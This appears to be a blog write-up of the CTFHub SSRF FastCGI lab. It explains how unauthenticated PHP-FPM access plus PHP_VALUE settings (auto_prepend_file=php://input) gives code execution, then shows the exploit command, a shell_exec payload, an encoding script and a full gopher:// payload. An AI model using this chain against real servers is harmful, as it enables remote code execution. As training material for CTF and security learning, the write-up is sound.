banner
肥皂的小屋

肥皂的小屋

github
steam
bilibili
douban
tg_channel

SSRF 学習の ctfhubターゲット-FastCGI

問題紹介#

提示内容:“今回は fastcgi プロトコルを攻撃する必要があります。添付の文書が少し役立つかもしれません。”

問題の添付は記事のリンクです:Fastcgi プロトコル分析 && PHP-FPM 未承認アクセス脆弱性 && Exp 作成

関連概念、脆弱性解析#

FastCGI プロトコル#

関連資料の説明は以下の通りです:

静的ウェブサイトでは、WEB コンテナ(Apache、Nginx など)はコンテンツ配信者の役割を果たし、ユーザーのリクエストに応じてウェブサイトのルートディレクトリからページを返します。一方、動的ウェブサイトでは、WEB コンテナ(例えば Apache)はユーザーのリクエストに基づいて簡単な処理を行い、PHP インタプリタに渡します。Apache がユーザーからの index.php へのリクエストを受け取ると、CGI を使用している場合、対応する CGI プログラムを起動し、ここでは PHP のインタプリタに対応します。次に、PHP インタプリタは php.ini ファイルを解析し、実行環境を初期化し、リクエストを処理し、CGI 規定の形式で処理結果を返し、プロセスを終了し、Web サーバーが結果をブラウザに返します。これが完全な動的 PHP Web アクセスの流れです。

ここで言及されているのは CGI の使用ですが、FastCGI は高性能な CGI に相当し、CGI とは異なり、常駐する CGI のように起動後は常に実行され、データ処理のたびに毎回起動する必要がありません。したがって、以下の概念が導入されます。FastCGI は言語に依存しない、スケーラブルなアーキテクチャの CGI オープン拡張であり、その主な動作は CGI インタプリタプロセスをメモリに保持し、高いパフォーマンスを得ることです。

php-fpm#

では、php-fpm とは何でしょうか。公式の説明によれば、FPM(FastCGI プロセスマネージャ)は PHP FastCGI のほとんどの追加機能を置き換えるために使用され、高負荷のウェブサイトに非常に役立ちます。つまり、php-fpm は FastCGI の具体的な実装であり、その中でプロセスマネジメント機能を提供します。これにはマスタープロセスとワーカープロセスが含まれ、マスタープロセスは Web サーバーと通信して HTTP リクエストを受信し、リクエストをワーカープロセスに転送して処理させます。ワーカープロセスは主に PHP コードを動的に実行し、処理が完了したら結果を Web サーバーに返し、Web サーバーが結果をクライアントに送信します。

PHP-FPM未承認アクセス脆弱性

脆弱性の存在点:PHP-FPM はデフォルトで 9000 ポートをリッスンしています。このポートがパブリックに公開されている場合、私たちは自分で fastcgi プロトコルを構築し、fpm と通信することができます。

ここでは nginx (iis7) の解析脆弱性と組み合わせる必要があります。

ユーザーがhttp://127.0.0.1/favicon.ico/.php にアクセスすると、アクセスされるファイルは favicon.ico ですが、.php 拡張子として解析されます。この指定されたファイルに関わる重要な変数は "SCRIPT_FILENAME" です。通常、SCRIPT_FILENAME の値は存在しないファイル /var/www/html/favicon.ico/.php であり、これは PHP 設定のオプション fix_pathinfo によって引き起こされた脆弱性です。PHP は Path Info モードをサポートするために fix_pathinfo を作成しました。このオプションが有効な場合、fpm は SCRIPT_FILENAME が存在するかどうかを判断し、存在しない場合は最後の / 以降のすべての内容を削除し、再度ファイルが存在するかどうかを判断し、ループを繰り返します。

fpmのあるバージョン以前では、SCRIPT_FILENAMEの値を任意の拡張子のファイル(例えば/etc/passwd)に指定することができました。

しかしその後、fpmのデフォルト設定にsecurity.limit_extensionsというオプションが追加されました:

;security.limit_extensions = .php .php3 .php4 .php5 .php7

これは特定の拡張子のファイルのみがfpmで実行されることを許可し、デフォルトは.phpです。

したがって、再度/etc/passwdを渡すと、Access denied.が返されます。

この設定項目の制限により、PHP-FPMの未承認アクセス脆弱性を利用するには、まず既存のPHPファイルを見つける必要があります。幸いなことに、通常、ソースからphpをインストールすると、サーバー上にはいくつかのphp拡張子のファイルが付属しています。

今回の靶場では、自動的に付属するphpファイル/usr/local/lib/php/PEAR.phpを使用しました。

では、なぜfastcgiプロトコル通信の内容を制御することでPHPコードを実行できるのでしょうか?

先ほど述べたように、私たちは一時的にSCRIPT_FILENAMEを制御し、fpmに任意のターゲットサーバー上のファイルを実行させることができますが、私たちが実行させたいファイルではありません。しかし、php.iniには特別な設定項目auto_prepend_fileauto_append_fileがあります。前者はPHPがターゲットファイルを実行する前に、指定されたファイルを先に含めることを許可し、後者はPHPがターゲットファイルを実行した後にその指向するファイルを含めることを許可します。

したがって、auto_prepend_filephp://inputに設定すると、任意のphpファイルを実行する前にPOSTの内容を含めることになります。したがって、実行したいコードをBodyに置くだけで、それらが実行されます(これに加えて、リモートファイルを含めるオプションallow_url_includeを有効にする必要があります)。

では、auto_prepend_fileの値をどう設定するのでしょうか?

これにはPHP-FPMの 2 つの環境変数、PHP_VALUEPHP_ADMIN_VALUEが関係しています。これらの環境変数はPHP設定項目を設定するために使用され、PHP_VALUEPHP_INI_USERおよびPHP_INI_ALLモードのオプションを設定でき、PHP_ADMIN_VALUEはすべてのオプションを設定できます。

disable_functionsを除いて、このオプションはPHPが読み込まれるときに決定され、範囲内の関数は直接PHPコンテキストに読み込まれません。)

最後に、auto_prepend_file = php://inputおよびallow_url_include = Onを設定し、実行したいコードをBodyに置くことで、任意のコードを実行できます。

関連するいくつかの重要なパラメータは以下の通りです:

{
    'SCRIPT_FILENAME': '/var/www/html/index.php',
    'SCRIPT_NAME': '/index.php',
    'QUERY_STRING': '?a=1&b=2',
    'REQUEST_URI': '/index.php?a=1&b=2',
    'DOCUMENT_ROOT': '/var/www/html',
    'PHP_VALUE': 'auto_prepend_file = php://input',
    'PHP_ADMIN_VALUE': 'allow_url_include = On'
}

提供された exp のリンクは:https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75

解題#

まず、9000ポートをリッスンしてexpを受信します。なぜなら、PHP-FPMはデフォルトで9000ポートをリッスンしているからです:nc -lvp 9000 > 1.txt

image

提供されたexpを使用して以下のコマンドを実行します:

python ssrf_fastcgi_fpm.py -c "<?php var_dump(shell_exec('ls /'));?>" -p 9000 127.0.0.1 /usr/local/lib/php/PEAR.php

image

xxd 1.txtを使用してデータストリームとメタデータを同時に確認できます:

image

hexdump 1.txtを使用してデータストリームのみを確認できます。

これだけでは直接利用できないため、urlエンコードを行う必要があります。簡単なpythonスクリプトを使用してエンコードします:

# -*- coding: UTF-8 -*-
from urllib.parse import quote, unquote, urlencode

file = open('fcg_exp.txt','r')
payload = file.read()
print("gopher://127.0.0.1:9000/_"+quote(payload).replace("%0A","%0D").replace("%2F","/"))

エンコードされた流量を得て、再度エンコードし、gopherプロトコルを追加します:

gopher://127.0.0.1:9000/\_%2501%2501%2542%2549%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2542%2549%2501%25e7%2500%2500%250e%2502%2543%254f%254e%2554%2545%254e%2554%255f%254c%2545%254e%2547%2554%2548%2533%2537%250c%2510%2543%254f%254e%2554%2545%254e%2554%255f%2554%2559%2550%2545%2561%2570%2570%256c%2569%2563%2561%2574%2569%256f%256e%252f%2574%2565%2578%2574%250b%2504%2552%2545%254d%254f%2554%2545%255f%2550%254f%2552%2554%2539%2539%2538%2535%250b%2509%2553%2545%2552%2556%2545%2552%255f%254e%2541%254d%2545%256c%256f%2563%2561%256c%2568%256f%2573%2574%2511%250b%2547%2541%2554%2545%2557%2541%2559%255f%2549%254e%2554%2545%2552%2546%2541%2543%2545%2546%2561%2573%2574%2543%2547%2549%252f%2531%252e%2530%250f%250e%2553%2545%2552%2556%2545%2552%255f%2553%254f%2546%2554%2557%2541%2552%2545%2570%2568%2570%252f%2566%2563%2567%2569%2563%256c%2569%2565%256e%2574%250b%2509%2552%2545%254d%254f%2554%2545%255f%2541%2544%2544%2552%2531%2532%2537%252e%2530%252e%2530%252e%2531%250f%251b%2553%2543%2552%2549%2550%255f%2546%2549%254c%2545%254e%2541%254d%2545%252f%2575%2573%2572%252f%256c%256f%2563%2561%256c%252f%256c%2569%2562%252f%2570%2568%2570%252f%2550%2545%2541%2552%252e%2570%2568%2570%250b%251b%2553%2543%2552%2549%2550%2554%255f%254e%2541%254d%2545%252f%2575%2573%2572%252f%256c%256f%2563%2561%256c%252f%256c%2569%2562%252f%2570%2568%2570%252f%2550%2545%2541%2552%252e%2570%2568%2570%2509%251f%2550%2548%2550%255f%2556%2541%254c%2555%2545%2561%2575%2574%256f%255f%2570%2572%2565%2570%2565%256e%2564%255f%2566%2569%256c%2565%2520%253d%2520%2570%2568%2570%253a%252f%252f%2569%256e%2570%2575%2574%250e%2504%2552%2545%2551%2555%2545%2553%2554%255f%254d%2545%2554%2548%254f%2544%2550%254f%2553%2554%250b%2502%2553%2545%2552%2556%2545%2552%255f%2550%254f%2552%2554%2538%2530%250f%2508%2553%2545%2552%2556%2545%2552%255f%2550%2552%254f%2554%254f%2543%254f%254c%2548%2554%2554%2550%252f%2531%252e%2531%250c%2500%2551%2555%2545%2552%2559%255f%2553%2554%2552%2549%254e%2547%250f%2516%2550%2548%2550%255f%2541%2544%254d%2549%254e%255f%2556%2541%254c%2555%2545%2561%256c%256c%256f%2577%255f%2575%2572%256c%255f%2569%256e%2563%256c%2575%2564%2565%2520%253d%2520%254f%256e%250d%2501%2544%254f%2543%2555%254d%2545%254e%2554%255f%2552%254f%254f%2554%252f%250b%2509%2553%2545%2552%2556%2545%2552%255f%2541%2544%2544%2552%2531%2532%2537%252e%2530%252e%2530%252e%2531%250b%251b%2552%2545%2551%2555%2545%2553%2554%255f%2555%2552%2549%252f%2575%2573%2572%252f%256c%256f%2563%2561%256c%252f%256c%2569%2562%252f%2570%2568%2570%252f%2550%2545%2541%2552%252e%2570%2568%2570%2501%2504%2542%2549%2500%2500%2500%2500%2501%2505%2542%2549%2500%2525%2500%2500%253c%253f%2570%2568%2570%2520%2576%2561%2572%255f%2564%2575%256d%2570%2528%2573%2568%2565%256c%256c%255f%2565%2578%2565%2563%2528%2527%256c%2573%2520%252f%2527%2529%2529%253b%253f%253e%2501%2505%2542%2549%2500%2500%2500%2500

burpに対応するリクエストパッケージの位置に貼り付け、リクエストを送信します:

image

図のように、サーバーのルートディレクトリにはファイルflag_78839d7acd24a4329a4205195d922fb6が存在し、コマンドを変更してこのファイルを表示することで最終的なflagを得ることができます。

また、Gopherusというツールを使用することもでき、expを使用するよりも簡単です:

image

image

参考記事:

読み込み中...
文章は、創作者によって署名され、ブロックチェーンに安全に保存されています。